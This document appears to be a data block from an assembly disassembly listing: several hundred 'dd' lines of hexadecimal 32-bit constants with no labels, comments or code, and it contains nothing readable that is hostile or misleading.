		dd 6F3262F7h, 30C0E528h, 0B4A81224h, 83A0D3F8h,	3B7DB450h
		dd 855C1F2Ah, 498DE557h, 28607C32h, 47B2CD69h, 69567B21h
		dd 4D0C9D15h, 6E980151h, 5CF28750h, 5848339Ah, 3B5610EEh
		dd 9C305029h, 30E87C24h, 1058160Ah, 134075Bh, 0E91A20CEh
		dd 5B9A7DBAh, 0F69BC70Eh, 57CFA7D7h, 4B0802D2h,	0A4526F66h
		dd 0BA9AD66Ch, 8B23453Ah, 83D14A5Ah, 2C4B755Ch,	0CA37C4D5h
		dd 65C8202Dh, 49669C8Bh, 0A1A2E526h, 108F3433h,	99061466h
		dd 21834D55h, 74FEF190h, 7634684Ah, 0C83EF69h, 5E0A150h
		dd 882D3A42h, 8B489C05h, 0E90C8391h, 0F9213C39h, 145EE98h
		dd 5EE91181h, 20A6F5E0h, 33665973h, 0D40631BEh,	42178D0Dh
		dd 101B2445h, 4B05B438h, 0C0368872h, 4373F607h,	105A376h
		dd 0DB0E9F2h, 8ED9140h,	98616051h, 58B509AEh, 105404Dh
		dd 844994FCh, 8154C011h, 7F1B24E7h, 0D81143ECh,	9033EEF8h
		dd 5FF90C0Fh, 4F950C87h, 0C0590B40h, 408AEE7Eh,	0CCF4DBFh
		dd 381D666Bh, 95190496h, 0D18987D0h, 815610CEh,	0C50E299h
		dd 0C8224ADh, 0F6D4A76h, 807F81E1h, 6153C623h, 50C179BDh
		dd 402FA7EEh, 79B85C6Bh, 2C28277Dh, 0F21FA436h,	0F7C4E81Dh
		dd 0C1C049D1h, 79076EDCh, 201AB85Bh, 4AD2F354h,	44DE090Fh
		dd 0A5C84566h, 20D26291h, 466354B4h, 6C056904h,	6690E579h
		dd 91558A68h, 69BD8F07h, 0C11625E0h, 61B003EDh,	4FD9FB0h
		dd 0AC1BDFC4h, 0E6AE0F56h, 0C16F2223h, 0C9810780h, 714C06FEh
		dd 89627D39h, 61E18834h, 310566D3h, 0F85153C7h,	0CCE650C1h
		dd 3E10CC9h, 52FD0BCDh,	89DF4460h, 0A81A42ECh, 89560E68h
		dd 0A690E67Eh, 322C2FC9h, 68EF0197h, 0E7B462B4h, 45C3D53Bh
		dd 42693999h, 51C5682Bh, 0E90C2051h, 9452CB3Ch,	99B30A26h
		dd 3EB48B26h, 5503887h,	5A55C7E3h, 1C184E50h, 0F63E97B0h
		dd 78A850D8h, 0F5EC5B41h, 34C01EFEh, 80B5CEC4h,	0CB39341Ch
		dd 5C015009h, 6DCD031Fh, 5FDCC2C1h, 0AD60411Eh,	0D25D0291h
		dd 0E0A2E926h, 1511A089h, 0A33155h, 5B2837D7h, 72E7E48h
		dd 560F657Ah, 6813F160h, 18726750h, 5A1B13AAh, 0A1ED55A9h
		dd 2388A248h, 6154662Bh, 57015893h, 0CF6F36BFh,	79305B61h
		dd 7A130234h, 0E462E921h, 1C175C8h, 0F7A0A5FCh,	3AC58F9Fh
		dd 0DFC324BEh, 9EFDD346h, 58E23D51h, 20949073h,	313B4C5Ah
		dd 4FD4CD5h, 43CC447Eh,	6DFD08C1h, 4D21F7CCh, 5D26F4E8h
		dd 0ECDB0BC1h, 5BDE0521h, 0FBE8E451h, 358D9CFh,	0F82444FEh
		dd 0F0B65259h, 0E2EE1280h, 0F8A604F6h, 0A30F0608h, 209C7AEAh
		dd 281C8C88h, 0EBCB58C3h, 0B01F8251h, 0C4FE032Fh, 0D080CC91h
		dd 0E31228BDh, 3AC28858h, 0E4C16A17h, 9B4C2038h, 1FEFBB0Ah
		dd 0F30DCE33h, 0AC760DEBh, 34475F12h, 0CDEB0E0Fh, 595DEA40h
		dd 3A1D2E2Dh, 61406D49h, 2915D272h, 70550D0h, 8B59857h
		dd 1110125Ch, 0C073A002h, 669602Ch, 359F1053h, 9AA4821h
		dd 89393A2Ah, 1F481FEh,	898B8BF8h, 0C44A5FAAh, 4204F3C0h
		dd 0D37D4790h, 5CF90F26h, 35401413h, 436F2271h,	20C87C01h
		dd 33407368h, 0A8D3745Ch, 94CFF8ABh, 50E60039h,	7234B3B8h
		dd 9E0D6502h, 403FC52Bh, 14B1C26h, 0EB810B7Eh, 305F27E8h
		dd 0E01CB94h, 0E90AEC51h, 49A8E3F1h, 8BB10459h,	0B757D1F6h
		dd 17785943h, 0D65FF4E9h, 772A01BBh, 0CB29909Bh, 2451C490h
		dd 99036A5Eh, 1D147A49h, 411A240Ch, 5FFD2966h, 9888CE01h
		dd 0AE93200Bh, 15BC808Ah, 42CE2472h, 3A40949h, 22637A66h
		dd 0F9595B6Bh, 0AF5111D5h, 988041D1h, 1F88CB57h, 22C4CD01h
		dd 28011C75h, 315A66D3h, 0AA07AC39h, 9445FB0Bh,	0AA48F623h
		dd 93DE59B0h, 5C6F0787h, 9892998Fh, 87E9E9A4h, 9030E09h
		dd 76321C4Fh, 0C05D396Bh, 9F58109h, 975ABB98h, 34E94222h
		dd 0F0B9BFE8h, 27A162Ch, 43C6508h, 0A3D70158h, 5B8B40E9h
		dd 1A652A5Dh, 4CA0FAD5h, 6995949Ch, 8050BC04h, 580E2802h
		dd 57406060h, 9ECEEB6Eh, 0C8891337h, 0D040CF9Ah, 207DB8F7h
		dd 67A2EB0Fh, 62C0BA0Ah, 0B7910C2h, 94C8988h, 0D3847EB1h
		dd 89C10955h, 7CA10041h, 5C29748h, 159CA29h, 5AE349D3h
		dd 28ED321Ch, 14E98EAAh, 0A9D9690Ch, 595A44B7h,	5816D7AFh
		dd 8A80F41h, 14F6AE46h,	8AEF8000h, 865BFA20h, 9E79FECAh
		dd 0DC9B2518h, 545DADD9h, 0D4ABC2B8h, 5AB3AAC3h, 0CEBCE3BFh
		dd 0E0F83245h, 7EA27576h, 6D5E2D60h, 0E7725324h, 6502EA01h
		dd 35740FF9h, 2C4A66DBh, 0FE40A849h, 18220CBFh,	76F66134h
		dd 64C16F1Ch, 8008E78Bh, 488DE1B3h, 0FE011FD8h,	0D90165E9h
		dd 0C113ED80h, 6E0DE8E5h, 0FD198593h, 7D69895Bh, 92E3D829h
		dd 5A6D4D99h, 24C9ACEFh, 5B09ED35h, 0A281C4CDh,	0A64C6CCBh
		dd 0DA3E2287h, 2087EB07h, 0D74E425Bh, 0A01A764Bh, 0FC00B70h
		dd 36A02585h, 40104F20h, 810054ACh, 0AD0903CEh,	6CE7E91Eh
		dd 0B892B9DEh, 0A162679Ch, 550C7A26h, 8E00E711h, 0B94D8168h
		dd 0D509333h, 0FCC37484h, 0FDB1761Ah, 4928B2BEh, 525F4450h
		dd 0AC12E558h, 402D2967h, 7E16F657h, 0FABD1B18h, 0B2CD290Bh
		dd 12E932E7h, 6EC4D363h, 397F3569h, 179D2A1Eh, 0FD13895Eh
		dd 0DF2057C5h, 5409194h, 0E57416h, 7E532D38h, 0F001072Fh
		dd 0CA0747F9h, 0FD8B1511h, 93175415h, 6100A58h,	60A54356h
		dd 5C36A1CEh, 80849A70h, 0E30B07EFh, 0E2DA4F61h, 0C080D02h
		dd 79581702h, 920DB482h
		dd 639A5676h, 0A10FD678h, 678E76h, 0E95559CEh, 302AB207h
		dd 0EA78CA01h, 41E45B0Eh, 0A4C2833Dh, 0D11F924Ah, 49015026h
		dd 310B211Dh, 356C44EAh, 826471DCh, 0E107CA31h,	5CF1A0B4h
		dd 0F6BF1E20h, 7B182C0Ch, 5294103Dh, 0C8327970h, 405782D4h
		dd 1D69E642h, 4781606Dh, 772D3D5Eh, 82B9C1h, 5905309Eh
		dd 0A22CE261h, 514A7C80h, 0E1C020B1h, 188D0658h, 20EC9FEh
		dd 633F9080h, 0EE04F628h, 0D12CF0A9h, 0E5D8C15Ah, 46CD41C6h
		dd 0DAB5A054h, 90830640h, 4DBBB8B4h, 939E815Ch,	64C883Ch
		dd 8BC6CC68h, 2A7642h, 18114E2Dh, 252E755Ch, 0E13A1AD9h
		dd 2052EEh, 465C13C0h, 0EC8E1837h, 449ADD9Bh, 8C674F0Fh
		dd 0EE7E850Ch, 6DC0955Eh, 0F71E2D4Ah, 4898FADFh, 0BBC3A814h
		dd 200058C2h, 5C44E381h, 0ECC10610h, 714B4E07h,	96E88389h
		dd 95865672h, 8FF29B9Ch, 0EF3D4C01h, 58AAB820h,	9DB03995h
		dd 0E2CB8A26h, 0C7372A47h, 0E9FC3053h, 5F03F777h, 327CEEB1h
		dd 6B731E33h, 0C7141E17h, 0BD4F2CC0h, 42638A8h,	311B1833h
		dd 120D5006h, 0FC205913h, 15C81B50h, 0B6465216h, 7097AB4Dh
		dd 184564D7h, 6EE9250Dh, 0DD3D1682h, 475EE202h,	7DC8554Dh
		dd 347C9A03h, 4470C90Ah, 0C1009E49h, 2773D76Fh,	0C18F9021h
		dd 0D64C482Ah, 3B5E7023h, 7502193Ch, 0B20AB84Bh, 8B939131h
		dd 85753ECBh, 0B0321425h, 0E19E2018h, 0CA674D98h, 396C10Ah
		dd 2C24F31Ch, 0BB0F2666h, 0CAC7426Eh, 7E31C624h, 0B70B9972h
		dd 0BC225E21h, 5426A449h, 0ACC51E28h, 0E042EBDFh, 292FDF64h
		dd 0FEC123D5h, 0C16B21EFh, 19093312h, 13BDA231h, 0DCF6904Dh
		dd 42F3600Ah, 0C2015EF0h, 0E1943CB8h, 4830212Ch, 4BD37F7h
		dd 0FA295199h, 8942C25Fh, 0E931A260h, 0A0420127h, 5733E58Bh
		dd 2B0CC109h, 8271D12Fh, 5E6F9EBEh, 6046612Ch, 0D5805B03h
		dd 0FE295A66h, 0B2076BC5h, 0A0EF2043h, 0F6EEB353h, 0CEE09FDBh
		dd 70D65FE3h, 99B95449h, 0C3F3CE9Eh, 0E2890149h, 85B4D33h
		dd 67AC834Ah, 0E87A195Fh, 16A493F2h, 689EB38h, 433DC0EAh
		dd 0AE5D8990h, 8D6850DBh, 0BE3340h, 43A44169h, 8708EEC1h
		dd 1C7D64Bh, 0E0908147h, 0EC77340Ch, 331E01F6h,	0F721C3C6h
		dd 3EEFFC5Eh, 480C0412h, 956260C9h, 0CC3A7016h,	845D2729h
		dd 0DA838446h, 831C3516h, 0EEE25F64h, 0E30DF6D9h, 0AEECF540h
		dd 47660DD8h, 0CC7EF189h, 7E7A0E3Ah, 0DBD1E936h, 4730128h
		dd 0F20167DEh, 87EA245Eh, 2A5C81h, 74970C90h, 1298F301h
		dd 3E5DCE40h, 319CE8C1h, 18D09DC8h, 666808C2h, 0D324655Ch
		dd 0D9CB4CDh, 12BF6653h, 0F0C0596Dh, 324B2933h,	61669BD3h
		dd 81681E56h, 60E5216Fh, 0B45FC87Ah, 0C98290BCh, 0E3431E48h
		dd 0CDD9A09h, 6B1ECEBAh, 0D4FB4B29h, 39965DAFh,	0F9BC845Ah
		dd 0C8FBE091h, 0EF6B0005h, 39D44264h, 29E01596h, 0B25EB50Ch
		dd 742A00F3h, 0E9EF0168h, 0B3C8208Bh, 67ED0814h, 5808153Eh
		dd 2B076FE7h, 4C29121Ch, 8D099303h, 4391E2EDh, 0DC95DAEh
		dd 924E2CEAh, 287009A1h, 1BB60F2Eh, 0C0B6EFC1h,	30B5CF2Eh
		dd 0C7A3930h, 604B73A8h, 0FFB9DA68h, 7CB0FE7Fh,	12872B57h
		dd 46353707h, 4A9D56E4h, 2477C960h, 9C3BDF43h, 7905CBEAh
		dd 0C2045456h, 112FD92h, 772BB2B9h, 4DE1D842h, 8CE45130h
		dd 2DC9D3F1h, 0CA80B4CCh, 0F75BD989h, 19E9D10Ch, 25683EF5h
		dd 3A182446h, 0D3A9DBBBh, 0C1B71228h, 0DAF8E7A3h, 8D691D3h
		dd 51030179h, 0FA50A2B5h, 0E36987B6h, 0BBE34774h, 2970B59h
		dd 141CE999h, 53925B73h, 727AC622h, 0F9F6015Fh,	894CE5D9h
		dd 0EBFC8AF3h, 59AAF838h, 9A19BA2Fh, 0D2E58FFDh, 2BE05489h
		dd 0E30A9668h, 0A5EAFB01h, 0CE80D4E8h, 0AF06A267h, 28D9F660h
		dd 4A5A73F5h, 0DD9F45E8h, 5867CCC8h, 0F26340F2h, 60BB5310h
		dd 0C6EBD095h, 7F66B423h, 907F2D65h, 3B53FA05h,	1275548Fh
		dd 75218D6h, 4433E671h,	73B6C363h, 40B3BD40h, 6AA6D896h
		dd 27C75D42h, 3FADA3F5h, 0DEEEF7BFh, 0E62258EBh, 29C206E0h
		dd 0DD9C9C54h, 0BF3AEA96h, 0D6015B09h, 7D44C732h, 0F1DA75Bh
		dd 7CC71A4Ah, 0A6138800h, 48EBC11Ch, 0EC456203h, 71271C83h
		dd 9AD92D0Ah, 20168B50h, 0F64107D1h, 23E18041h,	9084C1CCh
		dd 5B592C37h, 0E77A1410h, 0B7074A94h, 8FFD08EBh, 5ED86FFh
		dd 6C58880h, 35C12C50h,	75BC775Eh, 5C52B880h, 9DBB1D9Fh
		dd 97572D3Dh, 0EAC0C331h, 0E4B1322Ch, 58754DE9h, 0EF5F404Bh
		dd 614A23FCh, 49B90158h, 7FE9C2D3h, 82F959E2h, 5ADD130Bh
		dd 2946695Ch, 2D58021Ah, 5C6B4CFEh, 3470C361h, 0D000F726h
		dd 0F3BA2505h, 0B9C50106h, 64666B74h, 10FAFE52h, 1969C663h
		dd 5A54FA22h, 536BB46Ch, 0B04E13DEh, 50295E5Bh,	5CF0A9DAh
		dd 3881177Dh, 2079C258h, 0F8024F20h, 62E9FD98h,	0A5C251F2h
		dd 0C6682B98h, 0E91AAFBAh, 70A215Ch, 4EF45014h,	197DE4B1h
		dd 2D185889h, 68015652h, 2E2F3B51h, 7B4C348Bh, 5FECB0F7h
		dd 4068E0E6h, 2C70FA90h, 8909C076h, 0C084E9F2h,	73EA800Fh
		dd 42C20221h, 0C05AD128h, 31E7A663h, 0C1D22CAFh, 1A23E4C8h
		dd 33C5B3CEh, 297E5F8Eh, 0CDE0A8h, 759D202Dh, 0C5262969h
		dd 2E00BD58h, 0E91F1250h, 3B1362CBh, 0C4565AD3h, 0D12B5C80h
		dd 79E3C17Bh, 134FE602h, 7600836h, 85FE2802h, 3FE00A0Dh
		dd 0FC8B2874h, 0A80A2FBFh, 1E08500Bh, 5454268Ah, 0F989874Ah
		dd 38E6EF20h, 0AAE05069h, 73C43E9Dh, 0F3CD0128h, 0C8E90880h
		dd 0E0253C94h, 0F0E5EB1Eh, 104342BCh, 5E0B901Fh, 0DD80EA01h
		dd 782B3139h, 0A9517FCh, 0F94807ADh, 70B96603h,	0E1C1A016h
		dd 2960F107h, 31BAF852h, 0EA1843D4h, 0FEDA0308h, 97582752h
		dd 25E9D840h, 0BE277A4Eh, 3B1F985h, 5F214560h, 0B8362052h
		dd 78251BA6h, 8B18070h,	4E736DEFh, 8065C743h, 42937BC2h
		dd 2811296Dh, 28E20C09h, 132E241Ch, 2F77DDD8h, 5A87EF09h
		dd 0B2AC7E53h, 804E0E7Ch, 0CF6664E7h, 433B0636h, 0F7097BFEh
		dd 81FA8809h, 49C2684Ah, 0EB515C53h, 59ECF9D5h,	1460E7D5h
		dd 22346966h, 2F2A8C69h, 33A3CB13h, 52020C64h, 0BE58FFA3h
		dd 8A672224h, 89E75958h, 42785DEEh, 92313340h, 82F0716Ah
		dd 0EFB3F00Ah, 43DB3FCDh, 0D083B5A3h, 9F7097D2h, 3055CE81h
		dd 9282C757h, 148D50E4h, 0DC349868h, 794650CBh,	63014096h
		dd 59700A38h, 7064A71h,	804E7EFEh, 1C0E77FFh, 4D59669Dh
		dd 7020A2D3h, 19C343F3h, 0E7193CD2h, 0F220315h,	6C007BC8h
		dd 4C2633CAh, 0BD5552h,	1D143EB9h, 0EDC1DDF7h, 0F5000390h
		dd 1B018F1Eh, 4EE9EA21h, 999412BFh, 810CA7EAh, 5314E90Eh
		dd 558023A5h, 26DE1ACFh, 478F5B19h, 0D9575D22h,	9080C303h
		dd 5CB60FACh, 871406C0h, 4C00BF81h, 0E935AD32h,	94990E3Eh
		dd 14978E20h, 0D3681068h, 99E9135Bh, 0A7BD17C0h, 7A1C3D35h
		dd 212A7414h, 77230896h, 538B1624h, 5B44A554h, 9B68D393h
		dd 153166Ch, 8528377Fh,	51219259h, 2FF1D6A0h, 0C1947B31h
		dd 595F0720h, 848B7010h, 0B80567A2h, 56CF202h, 3D0E11CFh
		dd 588B401h, 41742FDEh,	0B5F7D240h, 0BFEB8BAFh,	0C04F0EC2h
		dd 0AD2AC781h, 31172752h, 92E94BE0h, 0EABE2554h, 0F579A000h
		dd 0FC22D99h, 1022CC7h,	7209Bh,	0BDBA525Ah, 0E977686Fh
		dd 93A48F75h, 613F2440h, 0ABE34F79h, 0EC6EF14Eh, 0C1C038EEh
		dd 2532B951h, 891D0CF5h
		dd 0F95259CDh, 5B162300h, 45E9D529h, 449B8Dh, 3B215611h
		dd 29F26851h, 9D713D24h, 90D13415h, 0E95B24C9h,	575156C0h
		dd 7A400FBFh, 0F7CF62EEh, 55430AE2h, 6E80BC8Eh,	95E9D2F9h
		dd 505F2A4Ah, 4DB30A00h, 0BACF81h, 0F719F33Bh, 649C68DFh
		dd 0FEDB1897h, 37602838h, 30EF0BC5h, 0D5E8623Ah, 0F3302664h
		dd 5E540C23h, 0D5758A8h, 0CB068204h, 73E6E805h,	805FF924h
		dd 4C31C03Fh, 0D49AF7C8h, 0DB71D59h, 72E9D790h,	3E29B94Ch
		dd 0F5523881h, 825DE889h, 0E31B2C2h, 9C7B4E05h,	36570E9Fh
		dd 6880150Eh, 21397223h, 5EC82C4h, 9CA90F4h, 4E3F7774h
		dd 6B600286h, 1B5BEB04h, 2AC15333h, 66033138h, 0C0FE04B9h
		dd 59E82CE8h, 0F50ACF90h, 3D72B968h, 50CAB283h,	1080D5B0h
		dd 0D23319E9h, 12F3F31Eh, 99225EF5h, 5AEA696Ch,	0C2AC7A9Eh
		dd 0CB01186Fh, 2708F188h, 0E917D5C6h, 0B7CCCFD8h, 0BC3E6B57h
		dd 56313E1Ch, 0EB68101Dh, 0B60C66E2h, 2A45A5F5h, 75BE906h
		dd 98C3FE0Ah, 2F48A0A2h, 0B673A813h, 0F6801C6Ch, 0AD69A6Fh
		dd 0FEE66EC0h, 4290CE7Ch, 5D2CD9B0h, 0D0C3C211h, 0D8652641h
		dd 2CF0074Ah, 5AEA21C0h, 802A6051h, 6FA43D99h, 1BD42A16h
		dd 7D011DFCh, 311B27F8h, 0F2E743FAh, 285B973Bh,	0E54A709Fh
		dd 7710C8A1h, 0B1554BFh, 0C78360C2h, 7D3F0878h,	316F8120h
		dd 0EF8759CFh, 8A86A21h, 0CAD3009Ah, 0FD01F0B4h, 0EFBA4DE9h
		dd 6DA8BD50h, 6494148h,	3C776C34h, 25870F0Ch, 0E58175C5h
		dd 4251474Ch, 5B41CDABh, 0F51880D2h, 66F937ADh,	73ABB009h
		dd 0C0075AC1h, 0EF6344Ch, 0F2D9F0EDh, 310F880Ah, 1D4284F3h
		dd 0DD250019h, 5113CC50h, 0C505E8C1h, 3DE31280h, 4D64E105h
		dd 2DFA867h, 1F63D18h, 0EFD41D8h, 49240D76h, 5F5A8B5Bh
		dd 0F2025205h, 0F5C8B66h, 5410519Fh, 0C458C0h, 938ABB53h
		dd 4831D678h, 5F20D5D9h, 5760295Eh, 5C710F6Dh, 0D1208A6Ah
		dd 9A7CAD76h, 0FCF15781h, 744D902Ch, 2FB26882h,	3F4E4749h
		dd 94BB633Ch, 5D256060h, 12C49D5h, 82020DEh, 44D3E913h
		dd 81123D89h, 207B5A20h, 6602BFE8h, 2892B151h, 47B40CAh
		dd 0C55EB87Eh, 0A821E918h, 70B90212h, 8E5EC412h, 80D94B84h
		dd 7C77BE43h, 0D40CC11Bh, 0F06B7462h, 3709DBF1h, 0B01D7D3h
		dd 275ACC32h, 0C022326Dh, 66001CB3h, 0FEFEB252h, 8DF84E9Ch
		dd 2D142B5h, 158F4C2Fh,	0E92E84ECh, 34A61D05h, 0AA5CEA01h
		dd 2720812Dh, 0BAA75C7Dh, 36E4C310h, 0C4448931h, 1D82518h
		dd 0CFF58058h, 0AE59EBC0h, 5F2D2CC8h, 0BDE96156h, 81BD5559h
		dd 4044255Ch, 68D231A3h, 0D334C729h, 4F8205ACh,	7A1A0656h
		dd 90639A6Ah, 0C1106312h, 524F27EBh, 8D3CEB2Dh,	19A8E918h
		dd 7F1E3B05h, 6089B286h, 0EF1C5BC5h, 0A98BF007h, 0C201A290h
		dd 6535584Eh, 71A299A1h, 1122E1D1h, 3FBED710h, 0C99DCC89h
		dd 4BC0915Ah, 885901F6h, 846D31FDh, 0B1B65206h,	60488EC2h
		dd 4FE9B48Ah, 0E0D15639h, 3C166692h, 400B695Bh,	7C534E6Eh
		dd 9D79F65Ah, 82C1CD13h, 0F3298033h, 0D1B4859h,	0D921255Dh
		dd 2F5450E8h, 89EE23C0h, 2DB1BD4Fh, 7922F001h, 3C441366h
		dd 0F012CB5Bh, 0EDEB1098h, 0A6B0F814h, 72345CC4h, 0BB59C3C2h
		dd 26B4B840h, 2935C412h, 0BEEA2B0h, 332E4676h, 0F6284h
		dd 80EF54BEh, 0F10132BBh, 0F4B22A8Ch, 969939C4h, 812495A4h
		dd 91C94117h, 0BE4BC2E0h, 0A45097D8h, 650AB801h, 0F0284129h
		dd 95A32CBFh, 0BC0614A7h, 0F6685C5h, 0CDF521B3h, 0D2F700D7h
		dd 4AEA0481h, 0E0589362h, 0E92652C8h, 5F802640h, 3818C981h
		dd 2A607CCAh, 179F620Eh, 0C1EBBDF2h, 385AD69Fh,	0BD04A4AEh
		dd 6A146333h, 8074BD30h, 8E97C3C5h, 14C8C9A8h, 4AA2F66Ah
		dd 0D9EA92C4h, 0B52DAEF0h, 0B218994h, 0C33D031Eh, 98FE7B88h
		dd 92DB45Eh, 0B2C016E9h, 594A5451h, 1820208Dh, 0CD370119h
		dd 0D2E94A31h, 0DEAE4915h, 3068AE48h, 0E0316F5Bh, 0E9507457h
		dd 38A08E7h, 96CE8149h,	0F4F65A0Ch, 865F910Bh, 0C046503Ah
		dd 0B30DE312h, 0EC0462Ah, 255B566Ch, 78E5AE9h, 93DE31E5h
		dd 204FEED1h, 5840FDD6h, 165F0403h, 1BCCDA3h, 0A02064F2h
		dd 674FB9C9h, 0DF334Bh,	0C963CCE4h, 4F11B855h, 0C1C416F3h
		dd 23D2A233h, 401FD40Eh, 2218D7FFh, 0E96D65C5h,	5BF5C93Bh
		dd 0A1C9E359h, 3AE5E930h, 0B331246Eh, 5FED2406h, 683BAE09h
		dd 33304373h, 0DE281031h, 78A2B8B1h, 0DA090AC1h, 0FE08C95Bh
		dd 635F1A6Eh, 93EE5B8Ch, 0E02D7A40h, 868337D6h,	4029C2BAh
		dd 7A603C5Eh, 0FA273419h, 0DC6E5E59h, 3AF9695Fh, 0B8506D21h
		dd 0C63E0108h, 0CEB67358h, 9C325C92h, 269B4421h, 4729695Fh
		dd 0BE5B0BC2h, 506893BDh, 9D016F28h, 4360EE82h,	66555200h
		dd 0BB55C68h, 4BC8EF15h, 27F85251h, 3E455C0Ch, 0E10BE158h
		dd 7C84367h, 87806649h,	0E20E95D7h, 0ED000192h,	820AB975h
		dd 8D23E20Ch, 0FB27C1E0h, 2050547Ch, 0A7B3D286h, 208150C8h
		dd 0E40FA4Fh, 2A0C7798h, 0DAD65889h, 0AD583220h, 5F7514B4h
		dd 872910FEh, 399DA62h,	3C0EDA09h, 8CDA0E68h, 6162E2FFh
		dd 49387211h, 2F225E34h, 5C44C0C8h, 406A0ADDh, 80DBAC4h
		dd 0E9A12A30h, 0ACA405F1h, 493207FEh, 0FE4D5D7Ch, 31024272h
		dd 77C5EF1h, 2D326806h,	0D4CD2053h, 388EB801h, 0D8F72A3Bh
		dd 28C76EFCh, 0BC0D5C4h, 71DC2FB5h, 0C6292D60h,	0B80F898h
		dd 9B9644E9h, 0F701471Fh, 2B37287Ch, 0A895252Bh, 67E91F1Ch
		dd 2EF16CF4h, 0D9F7F431h, 87044768h, 0B58874A0h, 1575F46Fh
		dd 0ADAA093Dh, 0BFD580EDh, 0B0A6637h, 83C7811Eh, 90092629h
		dd 0AAD86793h, 625DF83Ah, 4C089401h, 0CC3CC973h, 445C4B42h
		dd 0B1CC05Ah, 41F4A15Eh, 0B5F07F4Dh, 2C15B1FFh,	4810E6h
		dd 2C15EB80h, 74D828F2h, 93CBB004h, 5166802Fh, 582C5EB5h
		dd 0D09848E4h, 8B97D3FDh, 6AE978C8h, 8A34D55Bh,	80924191h
		dd 0B9500F04h, 0F8F2577Bh, 0F60159FEh, 5EAC0D2h, 16ADDE9h
		dd 0CC684D00h, 0C0892C09h, 1B2813D0h, 5FFD0031h, 0A14A8005h
		dd 865DE94Eh, 28F1D53h,	58BA58CDh, 0B2BF372Fh, 58741C55h
		dd 7B72044Fh, 0F5460407h, 5D1C90B6h, 6AAACD01h,	0D7FA22E9h
		dd 6E5AD0E9h, 693CC027h, 0F0F87F21h, 285196FEh,	0A81A9138h
		dd 6451B638h, 0D343C931h, 0DE8F413Ch, 2568699Ch, 60184B61h
		dd 1B94C062h, 1C8D2352h, 5539FA23h, 71E9CD18h, 969672E3h
		dd 0E768EA98h, 29DEC82Ch, 575B0FCFh, 8C2565E4h,	12F256FFh
		dd 5FC83F3Fh, 1A5D5580h, 0A67C48E3h, 15625F06h,	9B021806h
		dd 89A6942Ah, 200A72F2h, 129F44A4h, 1048F4F3h, 0A48B4533h
		dd 0FF08D60Dh, 0B9718C0Ch, 0E80AC1F8h, 81C83112h, 125532ECh
		dd 0E22C8B58h, 902E2218h, 2B1F00C4h, 0D701DB43h, 0FB5C295Ah
		dd 0A5EB0386h, 0E1183B12h, 0F0BB51C3h, 415D04F4h, 0F419A0E9h
		dd 2A1642E4h, 0A3016AC1h, 0EC5762B8h, 0D8BF9043h, 245B709h
		dd 6EBDCF81h, 20607067h, 3B011F03h, 0E9F8311Eh,	4E284C8Bh
		dd 55838594h, 0D8C97C68h, 0D3013E3Ch, 4F7F5906h, 17CAF5D8h
		dd 8FB28A6h, 0FE013836h, 0D1EA80C2h, 5E20EDCDh,	0EBC1B8D5h
		dd 9C3FF270h, 0E1664549h, 0D1126E72h, 98CF4585h, 404A8728h
		dd 0BC0BBD34h, 0B7C4E6Ch, 13DF406Fh, 76421E78h,	7F2145Ah
		dd 39342A4Dh, 0BE4CC17Bh, 0CD546DCh, 0D2FA052Ch, 201F68C1h
		dd 0E987212Ah, 32D2DE8h
		dd 480A2AE6h, 9AF6B012h, 6E152E21h, 0B4B8123Bh,	140513E9h
		dd 0EF01483Fh, 0E65AF526h, 7CFA90C7h, 0DDF4822Ah, 0F0E5E9D1h
		dd 0ECEB5180h, 16E4694h, 0B079D94Ch, 0B95BAF68h, 0A124A549h
		dd 645C4359h, 22783788h, 0B1D56A5h, 80FFAEB7h, 0FE456A04h
		dd 59CB2489h, 0BF202833h, 0F6D87B11h, 9EE8CC5Eh, 7919A109h
		dd 792D42C6h, 82BE35DEh, 274247CAh, 19CA8173h, 9097FB4Ch
		dd 0BE41F0A9h, 213DA313h, 0CCD48F0Ah, 2327BD81h, 42E84488h
		dd 6DEBC469h, 7351F31Fh, 4CE8E98Bh, 13C1AB6Ch, 317CD66Dh
		dd 828DA846h, 0A61F5E7Bh, 0C71E473Fh, 961D4565h, 8C0356B8h
		dd 8925510Bh, 10EC1AE1h, 52516806h, 93D1C149h, 8525916h
		dd 0E82C51DAh, 0DFFFB715h, 0D1C84EC9h, 0A8163C55h, 30FBE7F8h
		dd 7060C253h, 0E9671264h, 90A7C5EAh, 0F03548DAh, 0DC277D7Ch
		dd 0F6EC48E0h, 43610001h, 6B8ACE81h, 1BF35DEh, 195F15CFh
		dd 5B392760h, 0F24330Dh, 1458A12Ch, 0A5D9E00Bh,	0C586E277h
		dd 0C3978A0Fh, 593D2C1Fh, 732DC00Ch, 175C2819h,	9510EECh
		dd 8F0C78C0h, 9E0F5855h, 4BBD7B18h, 0C37231D9h,	0F708D861h
		dd 16A893D0h, 3202404Eh, 0E110DE07h, 84A3C821h,	5C744C39h
		dd 56F52DC3h, 5441299Ah, 5B074205h, 31D0C41h, 1A6BFBE9h
		dd 7CB69E0Bh, 0FB4BCFD1h, 0E9F70518h, 5AB6D18Ah, 1E0EDC53h
		dd 0EE7EEFBAh, 0EA4B2F2Dh, 541CECF9h, 9BFA2BCh,	2E7054C5h
		dd 15B9B581h, 0E273206Fh, 2809A894h, 0F0053FDh,	1273F5B7h
		dd 9DBC521Ch, 0BF123073h, 62804816h, 6454CB0Bh,	8566163Ch
		dd 2D440DC8h, 836715E3h, 1403D6FCh, 2D0360BBh, 7E43F85Eh
		dd 0F9695CF2h, 0AA6EF825h, 5FBEF2C4h, 34A56800h, 52F03AEBh
		dd 0D7025178h, 596E393Ch, 0B8DFE049h, 1C0E0F18h, 3D5ECA89h
		dd 87C94F2Eh, 4A072605h, 2DB13BCFh, 2E0DE90Eh, 8997EF14h
		dd 62F9E85Dh, 0A5CFB4EEh, 184160EAh, 59133ECBh,	2A6C4711h
		dd 2926D133h, 0FC5A8FDEh, 47E904B1h, 4192B770h,	58F033A6h
		dd 52875198h, 69D35D4Ch, 5A0BE812h, 0CE829AE3h,	0F95C489Dh
		dd 5F8C0DD2h, 44850149h, 6E406BBBh, 28872B25h, 3E72CC1h
		dd 712E03C6h, 90B75424h, 19825945h, 314FE970h, 64AD6BCCh
		dd 80F26B0Fh, 1F067E53h, 3829763Ch, 97E98B5Eh, 2054E542h
		dd 85E79588h, 199F7125h, 615CD35Bh, 5902E37h, 0D34EDFE9h
		dd 0EFF30030h, 55325B28h, 3788B4C2h, 0F1AF6082h, 3799DCh
		dd 348320Ch, 4D00B951h,	813C1552h, 0F75A0F1h, 90E94F7Bh
		dd 146F7B2h, 7A016853h,	9D4235C2h, 5D2A6932h, 0AD61C6EDh
